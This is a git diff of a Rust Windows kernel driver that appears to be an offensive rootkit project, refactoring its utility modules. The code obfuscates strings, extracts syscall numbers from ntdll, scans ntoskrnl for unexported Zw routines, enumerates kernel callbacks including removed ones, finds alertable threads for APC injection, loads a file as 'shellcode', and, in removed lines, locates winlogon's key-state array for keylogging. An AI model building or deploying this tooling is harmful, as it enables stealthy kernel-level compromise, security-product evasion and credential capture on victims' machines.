--- a/driver/src/utils/macros.rs +++ b/driver/src/utils/macros.rs @@ -166,6 +166,7 @@ macro_rules! handle_callback { ($irp:expr, $stack:expr, $input_type:ty, $output_type:ty, $information:expr, $ioctl:expr) => {{ use shared::vars::Callbacks; use crate::callbacks::{Callback, CallbackRegistry, CallbackOb, CallbackList}; + use wdk_sys::STATUS_UNSUCCESSFUL; let input_buffer = match crate::utils::get_input_buffer::<$input_type>($stack) { Ok(buffer) => buffer, @@ -177,31 +178,26 @@ macro_rules! handle_callback { Err(status) => return status, }; - let mut status = 0; - match $ioctl { - IOCTL_ENUMERATE_CALLBACK => { - status = match (*input_buffer).callback { - Callbacks::PsSetCreateProcessNotifyRoutine => Callback::enumerate_callback(input_buffer, output_buffer, $information), - Callbacks::PsSetCreateThreadNotifyRoutine => Callback::enumerate_callback(input_buffer, output_buffer, $information), - Callbacks::PsSetLoadImageNotifyRoutine => Callback::enumerate_callback(input_buffer, output_buffer, $information), - Callbacks::CmRegisterCallbackEx => CallbackRegistry::enumerate_callback(input_buffer, output_buffer, $information), - Callbacks::ObProcess => CallbackOb::enumerate_callback(input_buffer, output_buffer, $information), - Callbacks::ObThread => CallbackOb::enumerate_callback(input_buffer, output_buffer, $information), - }; + let status = match $ioctl { + IOCTL_ENUMERATE_CALLBACK => match (*input_buffer).callback { + Callbacks::PsSetCreateProcessNotifyRoutine => Callback::enumerate_callback(input_buffer, output_buffer, $information), + Callbacks::PsSetCreateThreadNotifyRoutine => Callback::enumerate_callback(input_buffer, output_buffer, $information), + Callbacks::PsSetLoadImageNotifyRoutine => Callback::enumerate_callback(input_buffer, output_buffer, $information), + Callbacks::CmRegisterCallbackEx => CallbackRegistry::enumerate_callback(input_buffer, output_buffer, $information), + Callbacks::ObProcess => CallbackOb::enumerate_callback(input_buffer, output_buffer, $information), + Callbacks::ObThread => CallbackOb::enumerate_callback(input_buffer, output_buffer, $information), }, - IOCTL_ENUMERATE_REMOVED_CALLBACK => { - status = match (*input_buffer).callback { - Callbacks::PsSetCreateProcessNotifyRoutine => Callback::enumerate_removed_callback(input_buffer, output_buffer, $information), - Callbacks::PsSetCreateThreadNotifyRoutine => Callback::enumerate_removed_callback(input_buffer, output_buffer, $information), - Callbacks::PsSetLoadImageNotifyRoutine => Callback::enumerate_removed_callback(input_buffer, output_buffer, $information), - Callbacks::CmRegisterCallbackEx => CallbackRegistry::enumerate_removed_callback(input_buffer, output_buffer, $information), - Callbacks::ObProcess => CallbackOb::enumerate_removed_callback(input_buffer, output_buffer, $information), - Callbacks::ObThread => CallbackOb::enumerate_removed_callback(input_buffer, output_buffer, $information), - }; + IOCTL_ENUMERATE_REMOVED_CALLBACK => match (*input_buffer).callback { + Callbacks::PsSetCreateProcessNotifyRoutine => Callback::enumerate_removed_callback(input_buffer, output_buffer, $information), + Callbacks::PsSetCreateThreadNotifyRoutine => Callback::enumerate_removed_callback(input_buffer, output_buffer, $information), + Callbacks::PsSetLoadImageNotifyRoutine => Callback::enumerate_removed_callback(input_buffer, output_buffer, $information), + Callbacks::CmRegisterCallbackEx => CallbackRegistry::enumerate_removed_callback(input_buffer, output_buffer, $information), + Callbacks::ObProcess => CallbackOb::enumerate_removed_callback(input_buffer, output_buffer, $information), + Callbacks::ObThread => CallbackOb::enumerate_removed_callback(input_buffer, output_buffer, $information), }, - _ => {} - } - + _ => Err(STATUS_UNSUCCESSFUL) + }; + status }}; @@ -238,7 +234,7 @@ macro_rules! handle_callback { }, _ => {} } - + status }}; } diff --git a/driver/src/utils/mod.rs b/driver/src/utils/mod.rs index c622392..85e914d 100644 --- a/driver/src/utils/mod.rs +++ b/driver/src/utils/mod.rs @@ -1,13 +1,14 @@ use { - crate::{ - includes::{structs::SystemModuleInformation, PsGetProcessPeb}, process::Process - }, - alloc::{string::String, vec::Vec, vec}, + obfstr::obfstr, + handles::Handle, + pool::PoolMemory, + winapi::um::winnt::{IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY,IMAGE_NT_HEADERS64}, + crate::{includes::{structs::SystemModuleInformation, PsGetProcessPeb}, process::Process}, + alloc::{string::String, vec::Vec}, core::{ ffi::{c_void, CStr}, - fmt::Write, mem::{size_of, zeroed}, - ptr::{null_mut, read, read_unaligned}, + ptr::{null_mut, read_unaligned}, slice::from_raw_parts }, ntapi::{ @@ -18,15 +19,9 @@ use { ntpebteb::PEB, ntzwapi::ZwQuerySystemInformation }, - obfstr::obfstr, wdk_sys::{ - ntddk::*, _FILE_INFORMATION_CLASS::FileStandardInformation, _SECTION_INHERIT::ViewUnmap, - _POOL_TYPE::NonPagedPool, * + ntddk::*, _FILE_INFORMATION_CLASS::FileStandardInformation, * }, - winapi::um::winnt::{ - RtlZeroMemory, IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, - IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER - }, }; #[cfg(not(test))] @@ -43,6 +38,10 @@ pub mod macros; pub mod offsets; pub mod uni; pub mod ioctls; +pub mod patterns; +pub mod address; +pub mod handles; +pub mod pool; /// Retrieves the input buffer from the given IO stack location. /// @@ -80,131 +79,6 @@ pub unsafe fn get_output_buffer(irp: *mut IRP) -> Result<*mut T, NTSTATUS> { } } -/// Gets the base address of a specified module. -/// -/// # Parameters -/// - `module_name`: A string slice containing the name of the module. -/// -/// # Returns -/// - `Option<*mut c_void>`: An optional pointer to the base address of the module, or None if the module is not found. -/// -pub unsafe fn get_module_base_address(module_name: &str) -> Option<*mut c_void> { - let mut return_bytes = 0; - ZwQuerySystemInformation(SystemModuleInformation, null_mut(), 0, &mut return_bytes); - - let info_module = ExAllocatePool(NonPagedPool, return_bytes as u64) as *mut SystemModuleInformation; - if info_module.is_null() { - log::error!("ExAllocatePool Failed"); - return None; - } - - RtlZeroMemory(info_module as *mut winapi::ctypes::c_void, return_bytes as usize); - - let status = ZwQuerySystemInformation( - SystemModuleInformation, - info_module as *mut winapi::ctypes::c_void, - return_bytes, - &mut return_bytes - ); - if !NT_SUCCESS(status) { - log::error!("ZwQuerySystemInformation [2] Failed With Status: {status}"); - ExFreePool(info_module as _); - return None; - } - - let module_count = (*info_module).modules_count; - - for i in 0..module_count as usize { - let name = (*info_module).modules[i].image_name; - let module_base = (*info_module).modules[i].image_base as *mut c_void; - if let Ok(name_str) = core::str::from_utf8(&name) { - if name_str.contains(module_name) { - return Some(module_base); - } - } - } - - ExFreePool(info_module as _); - None -} - -/// Gets the address of a specified function within a module. -/// -/// # Parameters -/// - `function_name`: A string slice containing the name of the function. -/// - `dll_base`: A pointer to the base address of the DLL. -/// -/// # Returns -/// - `Option<*mut c_void>`: An optional pointer to the function's address, or None if the function is not found. -/// -pub unsafe fn get_function_address(function_name: &str, dll_base: *mut c_void) -> Option<*mut c_void> { - let dos_header = dll_base as *mut IMAGE_DOS_HEADER; - let nt_header = (dll_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64; - - let export_directory = (dll_base as usize + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY; - let names = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as _); - let functions = from_raw_parts((dll_base as usize + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as _); - let ordinals = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNameOrdinals as usize) as *const u16,(*export_directory).NumberOfNames as _); - - for i in 0..(*export_directory).NumberOfNames as isize { - let name = CStr::from_ptr((dll_base as usize + names[i as usize] as usize) as *const i8).to_str().ok()?; - let ordinal = ordinals[i as usize] as usize; - let address = (dll_base as usize + functions[ordinal] as usize) as *mut c_void; - if name == function_name { - return Some(address); - } - } - - None -} - -/// Get the address of the `gafAsyncKeyState` array within a module in the context of a target process. -/// -/// # Parameters -/// - `name`: A string slice containing the name `gafAsyncKeyState`. -/// - `dll_base`: A pointer to the base address of the DLL. -/// -/// # Returns -/// - `Option<*mut c_void>`: An optional pointer to the function's address, or None if the function is not found. -/// -pub unsafe fn get_address_asynckey(name: &str, dll_base: *mut c_void) -> Option<*mut c_void> { - let mut apc_state: KAPC_STATE = core::mem::zeroed(); - let pid = match get_process_by_name(obfstr!("winlogon.exe")) { - Some(p) => p, - None => return None - }; - - let target = match Process::new(pid) { - Some(p) => p, - None => return None - }; - - KeStackAttachProcess(target.e_process, &mut apc_state); - - let dll_base = dll_base as usize; - let dos_header = dll_base as *mut IMAGE_DOS_HEADER; - let nt_header = (dll_base + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64; - - let export_directory = (dll_base + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY; - let names = from_raw_parts((dll_base + (*export_directory).AddressOfNames as usize) as *const u32,(*export_directory).NumberOfNames as _); - let functions = from_raw_parts((dll_base + (*export_directory).AddressOfFunctions as usize) as *const u32,(*export_directory).NumberOfFunctions as _); - let ordinals = from_raw_parts((dll_base + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _); - - for i in 0..(*export_directory).NumberOfNames as isize { - let name_module = CStr::from_ptr((dll_base + names[i as usize] as usize) as *const i8).to_str().ok()?; - let ordinal = ordinals[i as usize] as usize; - let address = (dll_base + functions[ordinal] as usize) as *mut c_void; - if name_module == name { - KeUnstackDetachProcess(&mut apc_state); - return Some(address); - } - } - - KeUnstackDetachProcess(&mut apc_state); - - None -} - /// Retrieves the PID of a process by its name. /// /// # Parameters @@ -216,11 +90,12 @@ pub unsafe fn get_address_asynckey(name: &str, dll_base: *mut c_void) -> Option< pub unsafe fn get_process_by_name(process_name: &str) -> Option { let mut return_bytes = 0; ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes); - let info_process = ExAllocatePool(NonPagedPool, return_bytes as u64) as PSYSTEM_PROCESS_INFORMATION; - if info_process.is_null() { - log::error!("ExAllocatePool Failed"); - return None; - } + let info_process = PoolMemory::new(POOL_FLAG_NON_PAGED, return_bytes as u64, u32::from_be_bytes(*b"diws")) + .map(|mem| mem.ptr as PSYSTEM_PROCESS_INFORMATION) + .or_else(|| { + log::error!("PoolMemory (Process By Name) Failed"); + None + })?; let status = ZwQuerySystemInformation( SystemProcessInformation, @@ -241,7 +116,6 @@ pub unsafe fn get_process_by_name(process_name: &str) -> Option { let name = String::from_utf16_lossy(image_name); if name == process_name { let pid = (*process_info).UniqueProcessId as usize; - ExFreePool(info_process as *mut _); return Some(pid); } } @@ -253,88 +127,9 @@ pub unsafe fn get_process_by_name(process_name: &str) -> Option { process_info = (process_info as *const u8).add((*process_info).NextEntryOffset as usize) as PSYSTEM_PROCESS_INFORMATION; } - ExFreePool(info_process as _); None } -/// Retrieves the syscall index for a given function name. -/// -/// # Parameters -/// - `function_name`: The name of the function to retrieve the syscall index for. -/// -/// # Returns -/// - `Option`: The syscall index if found, or `None` if an error occurs or the function is not found. -/// -pub unsafe fn get_syscall_index(function_name: &str) -> Option { - let mut section_handle = null_mut(); - let dll = crate::utils::uni::str_to_unicode("\\KnownDlls\\ntdll.dll"); - let mut obj_attr = InitializeObjectAttributes(Some(&mut dll.to_unicode()), OBJ_CASE_INSENSITIVE, None, None, None); - let mut status = ZwOpenSection(&mut section_handle, SECTION_MAP_READ | SECTION_QUERY, &mut obj_attr); - if !NT_SUCCESS(status) { - log::error!("ZwOpenSection Failed With Status: {status}"); - return None - } - - let mut large: LARGE_INTEGER = zeroed(); - let mut ntdll_addr = null_mut(); - let mut view_size = 0; - status = ZwMapViewOfSection( - section_handle, - 0xFFFFFFFFFFFFFFFF as *mut core::ffi::c_void, - &mut ntdll_addr, - 0, - 0, - &mut large, - &mut view_size, - ViewUnmap, - 0, - PAGE_READONLY, - ); - if !NT_SUCCESS(status) { - log::error!("ZwMapViewOfSection Failed With Status: {status}"); - ZwClose(section_handle); - return None - } - - - let dos_header = ntdll_addr as *const IMAGE_DOS_HEADER; - let nt_header = (ntdll_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64; - - let ntdll_addr = ntdll_addr as usize; - let export_directory = (ntdll_addr + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY; - let names = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as _,); - let functions = from_raw_parts((ntdll_addr + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as _,); - let ordinals = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _); - - for i in 0..(*export_directory).NumberOfNames as isize { - let name = CStr::from_ptr((ntdll_addr + names[i as usize] as usize) as *const i8).to_str().ok()?; - let ordinal = ordinals[i as usize] as usize; - let address = (ntdll_addr + functions[ordinal] as usize) as *const u8; - if name == function_name { - - if read(address) == 0x4C - && read(address.add(1)) == 0x8B - && read(address.add(2)) == 0xD1 - && read(address.add(3)) == 0xB8 - && read(address.add(6)) == 0x00 - && read(address.add(7)) == 0x00 - { - let high = read(address.add(5)) as u16; - let low = read(address.add(4)) as u16; - let ssn = (high << 8) | low; - - ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void); - ZwClose(section_handle); - return Some(ssn); - } - } - } - - ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void); - ZwClose(section_handle); - return None -} - /// Retrieves the address of a specified function within a module in the context of a target process. /// /// # Parameters @@ -347,10 +142,7 @@ pub unsafe fn get_syscall_index(function_name: &str) -> Option { /// pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str) -> Option<*mut c_void> { let mut apc_state: KAPC_STATE = core::mem::zeroed(); - let target = match Process::new(pid) { - Some(p) => p, - None => return None, - }; + let target = Process::new(pid)?; KeStackAttachProcess(target.e_process, &mut apc_state); let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB; @@ -416,98 +208,6 @@ pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str) None } -/// Scans memory for a specific pattern of bytes in a specific section. -/// # Parameters -/// - `base_addr`: The base address (in `usize` format) from which the scan should start. -/// - `section_name`: The name of the section to scan. This string must match the name of the section you want to scan. -/// - `pattern`: A slice of bytes (`&[u8]`) that represents the pattern you are searching for in memory. -/// -/// # Returns -/// - `Option<*const u8>`: The address of the target function if found. -/// -pub unsafe fn scan_for_pattern(base_addr: usize, section_name: &str, pattern: &[u8]) -> Option<*const u8> { - let dos_header = base_addr as *const IMAGE_DOS_HEADER; - let nt_header = (base_addr + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64; - let section_header = (nt_header as usize + size_of::()) as *const IMAGE_SECTION_HEADER; - - for i in 0..(*nt_header).FileHeader.NumberOfSections as usize { - let section = (*section_header.add(i)).Name; - let name = core::str::from_utf8(§ion).unwrap().trim_matches('\0'); - - if name == section_name { - let section_start = base_addr + (*section_header.add(i)).VirtualAddress as usize; - let section_size = *(*section_header.add(i)).Misc.VirtualSize() as usize; - let data = core::slice::from_raw_parts(section_start as *const u8, section_size); - - if let Some(offset) = data.windows(pattern.len()).position(|window| { - window.iter().zip(pattern).all(|(d, p)| *p == 0xCC || *d == *p) - }) { - return Some((section_start + offset) as *const u8); - } - } - } - None -} - -/// Finds the address of a specified Zw function. -/// -/// # Parameters -/// - `name`: The name of the Zw function to find. -/// -/// # Returns -/// - `Option`: The address of the Zw function if found, or `None` if an error occurs or the function is not found. -/// -pub unsafe fn find_zw_function(name: &str) -> Option { - let ssn = match get_syscall_index(name) { - Some(ssn) => ssn, - None => return None, - }; - - let ntoskrnl_addr = match get_module_base_address(obfstr!("ntoskrnl.exe")) { - Some(addr) => addr, - None => return None, - }; - - let ssn_bytes = ssn.to_le_bytes(); - let pattern: [u8; 30] = [ - 0x48, 0x8B, 0xC4, // mov rax, rsp - 0xFA, // cli - 0x48, 0x83, 0xEC, 0x10, // sub rsp, 10h - 0x50, // push rax - 0x9C, // pushfq - 0x6A, 0x10, // push 10h - 0x48, 0x8D, 0x05, 0xCC, 0xCC, 0xCC, 0xCC, // lea rax, KiServiceLinkage - 0x50, // push rax - 0xB8, ssn_bytes[0], ssn_bytes[1], 0xCC, 0xCC, // mov eax, - 0xE9, 0xCC, 0xCC, 0xCC, 0xCC // jmp KiServiceInternal - ]; - - let dos_header = ntoskrnl_addr as *const IMAGE_DOS_HEADER; - let nt_header = (ntoskrnl_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64; - let section_header = (nt_header as usize + size_of::()) as *const IMAGE_SECTION_HEADER; - - for i in 0..(*nt_header).FileHeader.NumberOfSections as usize { - let section = (*section_header.add(i)).Name; - let name = core::str::from_utf8(§ion).unwrap().trim_matches('\0'); - - if name == obfstr!(".text") { - let text_start = ntoskrnl_addr as usize + (*section_header.add(i)).VirtualAddress as usize; - let text_end = text_start + *(*section_header.add(i)).Misc.VirtualSize() as usize; - let data = core::slice::from_raw_parts(text_start as *const u8, text_end - text_start); - - if let Some(offset) = data.windows(pattern.len()) - .position(|window| { - window.iter().zip(&pattern).all(|(d, p)| *p == 0xCC || *d == *p) - }) { - - return Some(text_start + offset); - } - } - } - - return None -} - /// Find for a thread with an alertable status. /// /// # Parameters @@ -519,9 +219,9 @@ pub unsafe fn find_zw_function(name: &str) -> Option { pub unsafe fn find_thread_alertable(target_pid: usize) -> Option<*mut _KTHREAD> { let mut return_bytes = 0; ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes); - let info_process = ExAllocatePool2(POOL_FLAG_NON_PAGED, return_bytes as u64, u32::from_be_bytes(*b"oied")) as PSYSTEM_PROCESS_INFORMATION; + let info_process = PoolMemory::new(POOL_FLAG_NON_PAGED, return_bytes as u64, u32::from_be_bytes(*b"oied"))?.ptr as PSYSTEM_PROCESS_INFORMATION; if info_process.is_null() { - log::error!("ExAllocatePool2 Failed"); + log::error!("PoolMemory Failed"); return None; } @@ -543,10 +243,7 @@ pub unsafe fn find_thread_alertable(target_pid: usize) -> Option<*mut _KTHREAD> let threads_slice = from_raw_parts((*process_info).Threads.as_ptr(), (*process_info).NumberOfThreads as usize,); for &thread in threads_slice { let thread_id = thread.ClientId.UniqueThread as usize; - let target_thread = match crate::thread::Thread::new(thread_id) { - Some(e_thread) => e_thread, - None => continue, - }; + let target_thread = if let Some(thread) = crate::thread::Thread::new(thread_id) { thread } else { continue }; if PsIsThreadTerminating(target_thread.e_thread) == 1 { continue; @@ -573,8 +270,6 @@ pub unsafe fn find_thread_alertable(target_pid: usize) -> Option<*mut _KTHREAD> process_info = (process_info as *const u8).add((*process_info).NextEntryOffset as usize) as PSYSTEM_PROCESS_INFORMATION; } - ExFreePool(info_process as *mut _); - None } @@ -617,9 +312,7 @@ pub fn InitializeObjectAttributes( /// - `Result, NTSTATUS>`: The content of the file as a vector of bytes if successful, or an NTSTATUS error code if an error occurs. /// pub fn read_file(path: &String) -> Result, NTSTATUS> { - let mut path_nt = String::new(); - write!(&mut path_nt, "\\??\\{}", path).unwrap(); - + let path_nt = alloc::format!("\\??\\{}", path); let file_name = crate::utils::uni::str_to_unicode(&path_nt); let mut io_status_block: _IO_STATUS_BLOCK = unsafe { zeroed() }; let mut obj_attr = InitializeObjectAttributes( @@ -651,10 +344,12 @@ pub fn read_file(path: &String) -> Result, NTSTATUS> { return Err(status); } + let h_file = Handle::new(h_file); + let mut file_info: FILE_STANDARD_INFORMATION = unsafe { zeroed() }; status = unsafe { ZwQueryInformationFile( - h_file, + h_file.get(), &mut io_status_block, &mut file_info as *mut _ as *mut c_void, size_of::() as u32, @@ -663,17 +358,16 @@ pub fn read_file(path: &String) -> Result, NTSTATUS> { }; if !NT_SUCCESS(status) { log::error!("ZwQueryInformationFile Failed With Status: {status}"); - unsafe { ZwClose(h_file) }; return Err(status); } let file_size = unsafe { file_info.EndOfFile.QuadPart as usize }; let mut byte_offset: LARGE_INTEGER = unsafe { zeroed() }; byte_offset.QuadPart = 0; - let mut shellcode = vec![0u8; file_size]; + let mut shellcode = alloc::vec![0u8; file_size]; status = unsafe { ZwReadFile( - h_file, + h_file.get(), null_mut(), None, null_mut(), @@ -686,12 +380,9 @@ pub fn read_file(path: &String) -> Result, NTSTATUS> { }; if !NT_SUCCESS(status) { log::error!("ZwReadFile Failed With Status: {status}"); - unsafe { ZwClose(h_file) }; return Err(status); } - unsafe { ZwClose(h_file) }; - return Ok(shellcode) } diff --git a/driver/src/utils/offsets.rs b/driver/src/utils/offsets.rs index 5f6f16f..c240b29 100644 --- a/driver/src/utils/offsets.rs +++ b/driver/src/utils/offsets.rs @@ -1,5 +1,5 @@ +use crate::utils::uni; use wdk_sys::ntddk::MmGetSystemRoutineAddress; -use crate::utils; /// Gets the offset of the `SignatureLevel` in the `EPROCESS` structure. /// @@ -7,7 +7,7 @@ use crate::utils; /// - `isize`: Returns the offset of the dynamically retrieved structure. /// pub unsafe fn get_offset_signature() -> isize { - let mut function_name = utils::uni::str_to_unicode("PsGetProcessSignatureLevel").to_unicode(); + let mut function_name = uni::str_to_unicode("PsGetProcessSignatureLevel").to_unicode(); let address = MmGetSystemRoutineAddress(&mut function_name); let bytes = core::slice::from_raw_parts(address as *const u8, 20); let offset = bytes[15..17] @@ -26,7 +26,7 @@ pub unsafe fn get_offset_signature() -> isize { /// - `isize`: Returns the offset of the dynamically retrieved structure. /// pub unsafe fn get_offset_unique_process_id() -> isize { - let mut function_name = utils::uni::str_to_unicode("PsGetProcessId").to_unicode(); + let mut function_name = uni::str_to_unicode("PsGetProcessId").to_unicode(); let address = MmGetSystemRoutineAddress(&mut function_name); let bytes = core::slice::from_raw_parts(address as *const u8, 5); let offset = bytes[3..5] @@ -45,7 +45,7 @@ pub unsafe fn get_offset_unique_process_id() -> isize { /// - `isize`: Returns the offset of the dynamically retrieved structure. /// pub unsafe fn get_offset_token() -> isize { - let mut function_name = utils::uni::str_to_unicode("PsReferencePrimaryToken").to_unicode(); + let mut function_name = uni::str_to_unicode("PsReferencePrimaryToken").to_unicode(); let address = MmGetSystemRoutineAddress(&mut function_name); let bytes = core::slice::from_raw_parts(address as *const u8, 27); let offset = bytes[21..23] @@ -64,10 +64,10 @@ pub unsafe fn get_offset_token() -> isize { /// - `isize`: Returns the offset of the dynamically retrieved structure. /// pub unsafe fn get_rundown_protect() -> isize { - let mut function_name = utils::uni::str_to_unicode("PsGetThreadExitStatus").to_unicode(); + let mut function_name = uni::str_to_unicode("PsGetThreadExitStatus").to_unicode(); let address = MmGetSystemRoutineAddress(&mut function_name); let bytes = core::slice::from_raw_parts(address as *const u8, 17); - let offset = bytes[13..] + let offset = bytes[13..15] .try_into() .map(u16::from_le_bytes) .expect("Slice length is not 2, cannot convert"); diff --git a/driver/src/utils/patterns.rs b/driver/src/utils/patterns.rs new file mode 100644 index 0000000..9eaacb5 --- /dev/null +++ b/driver/src/utils/patterns.rs @@ -0,0 +1,177 @@ +use { + obfstr::obfstr, + super::{address::get_module_base_address, InitializeObjectAttributes}, + core::{ + ffi::{c_void, CStr}, mem::{size_of, zeroed}, + ptr::{null_mut, read}, slice::from_raw_parts + }, + winapi::um::winnt::{IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER}, + wdk_sys::{ + NT_SUCCESS, + ntddk::{ZwClose, ZwMapViewOfSection, ZwOpenSection, ZwUnmapViewOfSection}, + LARGE_INTEGER, OBJ_CASE_INSENSITIVE, PAGE_READONLY, SECTION_MAP_READ, + SECTION_QUERY, _SECTION_INHERIT::ViewUnmap + }, +}; + +/// Scans memory for a specific pattern of bytes in a specific section. +/// # Parameters +/// - `base_addr`: The base address (in `usize` format) from which the scan should start. +/// - `section_name`: The name of the section to scan. This string must match the name of the section you want to scan. +/// - `pattern`: A slice of bytes (`&[u8]`) that represents the pattern you are searching for in memory. +/// +/// # Returns +/// - `Option<*const u8>`: The address of the target function if found. +/// +pub unsafe fn scan_for_pattern(base_addr: usize, section_name: &str, pattern: &[u8]) -> Option<*const u8> { + let dos_header = base_addr as *const IMAGE_DOS_HEADER; + let nt_header = (base_addr + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64; + let section_header = (nt_header as usize + size_of::()) as *const IMAGE_SECTION_HEADER; + + for i in 0..(*nt_header).FileHeader.NumberOfSections as usize { + let section = (*section_header.add(i)).Name; + let name = core::str::from_utf8(§ion).unwrap().trim_matches('\0'); + + if name == section_name { + let section_start = base_addr + (*section_header.add(i)).VirtualAddress as usize; + let section_size = *(*section_header.add(i)).Misc.VirtualSize() as usize; + let data = core::slice::from_raw_parts(section_start as *const u8, section_size); + + if let Some(offset) = data.windows(pattern.len()).position(|window| { + window.iter().zip(pattern).all(|(d, p)| *p == 0xCC || *d == *p) + }) { + return Some((section_start + offset) as *const u8); + } + } + } + None +} + +/// Finds the address of a specified Zw function. +/// +/// # Parameters +/// - `name`: The name of the Zw function to find. +/// +/// # Returns +/// - `Option`: The address of the Zw function if found, or `None` if an error occurs or the function is not found. +/// +pub unsafe fn find_zw_function(name: &str) -> Option { + let ssn = get_syscall_index(name)?; + let ntoskrnl_addr = get_module_base_address(obfstr!("ntoskrnl.exe"))?; + + let ssn_bytes = ssn.to_le_bytes(); + let pattern: [u8; 30] = [ + 0x48, 0x8B, 0xC4, // mov rax, rsp + 0xFA, // cli + 0x48, 0x83, 0xEC, 0x10, // sub rsp, 10h + 0x50, // push rax + 0x9C, // pushfq + 0x6A, 0x10, // push 10h + 0x48, 0x8D, 0x05, 0xCC, 0xCC, 0xCC, 0xCC, // lea rax, KiServiceLinkage + 0x50, // push rax + 0xB8, ssn_bytes[0], ssn_bytes[1], 0xCC, 0xCC, // mov eax, + 0xE9, 0xCC, 0xCC, 0xCC, 0xCC // jmp KiServiceInternal + ]; + + let dos_header = ntoskrnl_addr as *const IMAGE_DOS_HEADER; + let nt_header = (ntoskrnl_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64; + let section_header = (nt_header as usize + size_of::()) as *const IMAGE_SECTION_HEADER; + + for i in 0..(*nt_header).FileHeader.NumberOfSections as usize { + let section = (*section_header.add(i)).Name; + let name = core::str::from_utf8(§ion).unwrap().trim_matches('\0'); + + if name == obfstr!(".text") { + let text_start = ntoskrnl_addr as usize + (*section_header.add(i)).VirtualAddress as usize; + let text_end = text_start + *(*section_header.add(i)).Misc.VirtualSize() as usize; + let data = core::slice::from_raw_parts(text_start as *const u8, text_end - text_start); + + if let Some(offset) = data.windows(pattern.len()) + .position(|window| { + window.iter().zip(&pattern).all(|(d, p)| *p == 0xCC || *d == *p) + }) { + + return Some(text_start + offset); + } + } + } + + return None +} + +/// Retrieves the syscall index for a given function name. +/// +/// # Parameters +/// - `function_name`: The name of the function to retrieve the syscall index for. +/// +/// # Returns +/// - `Option`: The syscall index if found, or `None` if an error occurs or the function is not found. +/// +pub unsafe fn get_syscall_index(function_name: &str) -> Option { + let mut section_handle = null_mut(); + let dll = crate::utils::uni::str_to_unicode(obfstr!("\\KnownDlls\\ntdll.dll")); + let mut obj_attr = InitializeObjectAttributes(Some(&mut dll.to_unicode()), OBJ_CASE_INSENSITIVE, None, None, None); + let mut status = ZwOpenSection(&mut section_handle, SECTION_MAP_READ | SECTION_QUERY, &mut obj_attr); + if !NT_SUCCESS(status) { + log::error!("ZwOpenSection Failed With Status: {status}"); + return None + } + + let mut large: LARGE_INTEGER = zeroed(); + let mut ntdll_addr = null_mut(); + let mut view_size = 0; + status = ZwMapViewOfSection( + section_handle, + 0xFFFFFFFFFFFFFFFF as *mut core::ffi::c_void, + &mut ntdll_addr, + 0, + 0, + &mut large, + &mut view_size, + ViewUnmap, + 0, + PAGE_READONLY, + ); + if !NT_SUCCESS(status) { + log::error!("ZwMapViewOfSection Failed With Status: {status}"); + ZwClose(section_handle); + return None + } + + let dos_header = ntdll_addr as *const IMAGE_DOS_HEADER; + let nt_header = (ntdll_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64; + + let ntdll_addr = ntdll_addr as usize; + let export_directory = (ntdll_addr + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY; + let names = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as _,); + let functions = from_raw_parts((ntdll_addr + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as _,); + let ordinals = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _); + + for i in 0..(*export_directory).NumberOfNames as isize { + let name = CStr::from_ptr((ntdll_addr + names[i as usize] as usize) as *const i8).to_str().ok()?; + let ordinal = ordinals[i as usize] as usize; + let address = (ntdll_addr + functions[ordinal] as usize) as *const u8; + if name == function_name { + + if read(address) == 0x4C + && read(address.add(1)) == 0x8B + && read(address.add(2)) == 0xD1 + && read(address.add(3)) == 0xB8 + && read(address.add(6)) == 0x00 + && read(address.add(7)) == 0x00 + { + let high = read(address.add(5)) as u16; + let low = read(address.add(4)) as u16; + let ssn = (high << 8) | low; + + ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void); + ZwClose(section_handle); + return Some(ssn); + } + } + } + + ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void); + ZwClose(section_handle); + return None +} 